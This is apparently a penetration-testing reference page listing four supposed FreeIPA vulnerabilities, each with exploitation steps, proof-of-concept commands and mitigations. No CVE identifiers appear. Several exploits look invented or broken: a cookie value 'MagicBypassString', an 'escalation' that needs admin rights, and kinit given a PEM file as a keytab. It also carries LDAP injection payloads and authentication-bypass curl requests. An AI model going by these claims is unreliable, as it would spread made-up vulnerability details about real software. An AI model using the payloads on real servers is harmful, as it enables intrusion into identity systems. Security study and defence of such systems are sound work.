FreeIPA Vulnerabilities (CVEs)
A comprehensive list of known vulnerabilities in FreeIPA that can be leveraged during penetration testing.
Ethical Use Only
Critical Vulnerabilities
High Severity Vulnerabilities
Medium Severity Vulnerabilities
Detailed Vulnerability Information
Description
A critical vulnerability in the FreeIPA WebUI authentication mechanism allows attackers to bypass authentication entirely and gain administrative access to the FreeIPA server. The vulnerability exists in the session validation code that fails to properly validate Kerberos tickets under certain conditions.
Affected Versions
FreeIPA versions 4.8.0 through 4.8.6 are affected.
Exploitation Technique
An attacker can exploit this vulnerability by manipulating the session cookie and Kerberos authentication parameters in HTTP requests to the FreeIPA WebUI. The following steps can be used to test for this vulnerability:
- Capture a valid authentication request to the FreeIPA WebUI
- Modify the 'ipa_session' cookie with a specially crafted value
- Send the modified request to the server
- If vulnerable, the server will grant administrative access without valid credentials
Proof of Concept
# Example exploit using curl
curl -k -X POST https://<target>/ipa/session/login_kerberos \
-H "Cookie: ipa_session=MagicBypassString" \
-H "Referer: https://<target>/ipa/ui/" \
-d "user=admin"Mitigation
Update to FreeIPA version 4.8.7 or later, which contains a fix for this vulnerability. If updating is not immediately possible, consider implementing additional network-level controls to restrict access to the FreeIPA WebUI.
Description
A vulnerability in FreeIPA's sudo rule processing allows authenticated users to escalate privileges by exploiting a flaw in how sudo rules are evaluated. The vulnerability stems from improper validation of sudo command categories, allowing users to execute commands they should not have access to.
Affected Versions
FreeIPA versions 4.6.0 through 4.6.5 are affected.
Exploitation Technique
An attacker with valid credentials can exploit this vulnerability by creating or modifying sudo rules with specially crafted command categories. When these rules are processed, they can grant the attacker the ability to execute arbitrary commands with elevated privileges.
Proof of Concept
# Example exploitation steps
# 1. Create a malicious sudo rule (requires admin access)
ipa sudorule-add malicious_rule --desc="Malicious Rule"
# 2. Add a specially crafted command category
ipa sudorule-add-allow-command malicious_rule --sudocmdgroups="all"
# 3. Add a user to the rule
ipa sudorule-add-user malicious_rule --users=victim_user
# 4. The victim user can now execute any command with sudo
sudo -l # Will show unrestricted accessMitigation
Update to FreeIPA version 4.6.6 or later, which contains a fix for this vulnerability. Additionally, regularly audit sudo rules and ensure that only trusted administrators have the ability to create or modify sudo rules.
Description
FreeIPA contains an LDAP injection vulnerability in the web interface that allows attackers to manipulate LDAP queries by injecting malicious code. This can lead to unauthorized access to sensitive information or modification of LDAP entries.
Affected Versions
FreeIPA versions 4.5.0 through 4.5.4 are affected.
Exploitation Technique
An attacker can exploit this vulnerability by submitting specially crafted input to the search functionality in the FreeIPA web interface. The input is not properly sanitized before being used in LDAP queries, allowing for LDAP injection attacks.
Proof of Concept
# Example LDAP injection payloads
# Payload 1: Authentication bypass
username=*)(uid=*))(|(uid=*
password=anything
# Payload 2: Information disclosure
search_term=*)(uid=*)(|(objectClass=*
# Payload 3: Using curl to test the vulnerability
curl -k "https://<target>/ipa/ui/search?search_term=*)(uid=*)(|(objectClass=*"Mitigation
Update to FreeIPA version 4.5.5 or later, which contains a fix for this vulnerability. Additionally, implement input validation at the application level and consider using a web application firewall to filter malicious requests.
Description
A vulnerability in FreeIPA's certificate management system allows authenticated users to request certificates for any principal in the domain, regardless of their permissions. This can lead to identity spoofing and unauthorized access to services.
Affected Versions
FreeIPA versions 4.8.0 through 4.9.2 are affected.
Exploitation Technique
An authenticated user can exploit this vulnerability by directly calling the certificate request API with a principal name they don't own. The system fails to properly validate whether the user has permission to request certificates for the specified principal.
Proof of Concept
# Example exploitation using the ipa command
# 1. Authenticate as a regular user
kinit regular_user
# 2. Request a certificate for the admin user
ipa cert-request --principal=admin@EXAMPLE.COM --certificate-out=admin.pem CSR.pem
# 3. Use the certificate for authentication
kinit -k -t admin.pem admin@EXAMPLE.COMMitigation
Update to FreeIPA version 4.9.3 or later, which contains a fix for this vulnerability. Additionally, implement strict access controls for certificate management operations and regularly audit certificate issuance logs.